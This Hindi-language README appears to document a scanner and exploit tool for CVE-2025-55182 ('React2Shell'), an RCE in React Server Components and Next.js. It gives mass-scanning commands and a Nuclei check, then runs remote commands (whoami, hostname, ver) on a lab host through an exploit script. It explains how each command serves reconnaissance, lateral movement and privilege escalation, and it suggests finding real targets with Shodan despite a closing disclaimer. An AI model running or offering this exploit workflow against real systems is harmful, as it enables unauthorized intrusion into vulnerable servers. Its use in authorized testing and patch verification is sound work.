
CVE-2025-55182 (React2Shell) RCE भेद्यता के लिए PoC स्कैनर और एक्सप्लॉइट React सर्वर घटकों में। अधिकृत सुरक्षा परीक्षण के लिए कमजोर सर्वरों का पता लगाता है और दूरस्थ कमांड निष्पादित करता है।
CVE-2025-55182, जिसे React2Shell के रूप में भी जाना जाता है, एक गंभीर Remote Code Execution (RCE) भेद्यता है जो React Server Components (RSC) को प्रभावित करती है। यह क्लाइंट और सर्वर के बीच संवाद के लिए Flight प्रोटोकॉल का उपयोग करती है। जब क्लाइंट डेटा का अनुरोध करता है, तो सर्वर को एक payload प्राप्त होता है और वह इस payload का विश्लेषण करता है, जो हमलावर को दुर्भावनापूर्ण संरचनाएँ या मनमाना कोड डालने की अनुमति दे सकता है जिसे React मान्य मानता है।
| विषय | विवरण |
|---|---|
| गंभीरता | Critical (CVSS 10.0) |
| प्रकार | Unsafe Deserialization (CWE-502) |
| हमले की विधि | Remote, no authentication required |
| प्रभावित संस्करण: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 और Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
सर्वर क्लाइंट से payload को पूरी तरह से मान्य (validate) किए बिना संसाधित करता है, जिससे हमलावर को अनुमति मिलती है:
इस भेद्यता से संबंधित शोषण गतिविधियाँ 5 दिसंबर 2025 से पाई गई हैं। अधिकांश सफल शोषण आक्रमण समूहों के मूल्यांकनों से उत्पन्न हुए हैं। Windows और Linux दोनों वातावरण प्रभावित हैं।
स्थापना
pip install -r requirements.txt
एक कमजोर (vulnerable) सर्वर को स्कैन करें:
python3 scanner.py -u https://example.com
स्कैन करने के लिए पथ दर्ज करें (यहाँ मैंने अपनी कमजोर मशीन दर्ज की है http://192.168.10.1:3000)
प्राप्त परिणाम:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
सर्वर सूची स्कैन करें:
python3 scanner.py -l hosts.txt
कई थ्रेड्स के साथ स्कैन करें और परिणाम सहेजें:
python3 scanner.py -l hosts.txt -t 20 -o results.json
कस्टम हेडर के साथ स्कैन करें:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Windows लक्ष्यों को स्कैन करें:
python3 scanner.py -u https://example.com --windows
सुरक्षित साइड-चैनल पहचान विधि का उपयोग करें:
python3 scanner.py -u https://example.com --safe-check
जैसा कि आप देख सकते हैं, हम एक सुरक्षा भेद्यता का सामना कर रहे हैं, जिसका अर्थ है कि हमारा सर्वर हमलावर (Attacker) द्वारा हमला किए जाने के प्रति संवेदनशील है।
अब हम यह जाँचने के लिए Nuclei का उपयोग करेंगे कि उपरोक्त सर्वर में POC के साथ कौन सी भेद्यता मौजूद है या नहीं। यह सुविधा कस्टम अनुरोध भेजकर काम करती है, झूठे अलार्म (false positive) को कम करती है और समानांतर स्कैनिंग का समर्थन करती है।
nuclei -t scan.yaml -u http://192.168.10.1:3000
प्राप्त परिणाम
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
सिस्टम ने पता लगाया है कि यह सर्वर कमजोर है और CVE-2025-55182 भेद्यता द्वारा शोषण योग्य है। और इससे आप देख सकते हैं कि यह काफी खतरनाक और महत्वपूर्ण भेद्यता है, जिसके POC सोशल प्लेटफॉर्म पर बहुत अधिक मौजूद हैं। ☺☺☺
आप देख सकते हैं कि उपरोक्त एप्लिकेशन में सुरक्षा भेद्यता के अस्तित्व की पुष्टि करने के लिए यह जानकारी पर्याप्त है। यह साबित करने के लिए कि इस एप्लिकेशन का दुरुपयोग करके दूरस्थ रूप से कमांड या कोड निष्पादित किया जा सकता है, मैं PoC शुरू करूँगा।
chmod +x scanner.sh
# जाँचें कि लक्ष्य कमजोर (vulnerable) है या नहीं
./datscan.sh -d example.com
# वर्तमान उपयोगकर्ता की जाँच के लिए कमांड निष्पादित करें
./datscan.sh -d example.com -c "whoami"
# पूर्ण URL के साथ
./datscan.sh -d example.com -c "uname -a"
अर्थ:
वह वर्तमान उपयोगकर्ता लौटाता है जो सर्वर प्रक्रिया चला रहा है
पहचानने में सहायता करता है:
=> RCE की सफलता की पुष्टि करने के लिए यह सबसे बुनियादी कमांड है
-d, --domain - डोमेन/URL-c, --command - निष्पादित की जाने वाली कमांड (जैसे: whoami, hostname,...)# मशीन का नाम जाँचें
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# ऑपरेटिंग सिस्टम संस्करण निर्धारित करें
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# जाँचें कि कमांड निष्पादन स्थिर रूप से काम करता है या नहीं
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
सफल शोषण के बाद यह प्रारंभिक टोही (initial reconnaissance) कदम है।
हमें पुष्टि करने में मदद करता है: RCE कार्य कर रहा है, ऑपरेटिंग सिस्टम की पहचान,...
चूँकि मैं इस प्रयोग को व्यक्तिगत लैब वातावरण में डेमो कर रहा हूँ ताकि कानूनी समस्याओं से बचा जा सके, इसलिए डेटा चोरी के लिए HTTP हेडर का उपयोग, बड़े आउटपुट या विशेष वर्ण निम्न कारण बन सकते हैं:
ERR_INVALID_CHAR
छोटे कमांड (जैसे: whoami, ver) उपरोक्त परीक्षण वातावरण में प्रदर्शित करने के लिए अधिक विश्वसनीय हैं।
यदि आप चाहें तो वास्तविक वातावरण में सीधे IP पतों की जाँच करने के लिए Shodan का उपयोग कर सकते हैं और शोषण के लिए मेरे उपरोक्त प्रयोग की तरह ही कर सकते हैं (अनुशंसित नहीं)।
जैसा कि ऊपर बताया गया है। यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। इस उपकरण का उपयोग उन प्रणालियों पर परीक्षण के लिए न करें जिनके स्वामी आप नहीं हैं या जिन पर परीक्षण का अधिकार नहीं है।
| निष्पादित कमांड का अर्थ | विवरण |
|---|
| होस्ट नाम लौटाता है | इसका उपयोग: - प्रभावित सिस्टम की पहचान करने के लिए - लेटरल मूवमेंट (आंतरिक वातावरण में) के लिए |
| ऑपरेटिंग सिस्टम संस्करण निर्धारित करता है | इसके लिए महत्वपूर्ण: - आगे के शोषण की संभावना का आकलन (privilege escalation) - उपयुक्त एक्सप्लॉइट का चयन |
| कमांड निष्पादन की जाँच करता है | Payload / scanner डीबग करने के लिए |
| वर्तमान उपयोगकर्ता नाम लौटाता है | इस मामले में: -उपयोगकर्ता ADMIN है → उच्च विशेषाधिकार हो सकते हैं - कुछ Windows मामलों में whoami से अधिक महत्वपूर्ण |
| मशीन का नाम लौटाता है | environment variable के माध्यम से मशीन का नाम लौटाता है |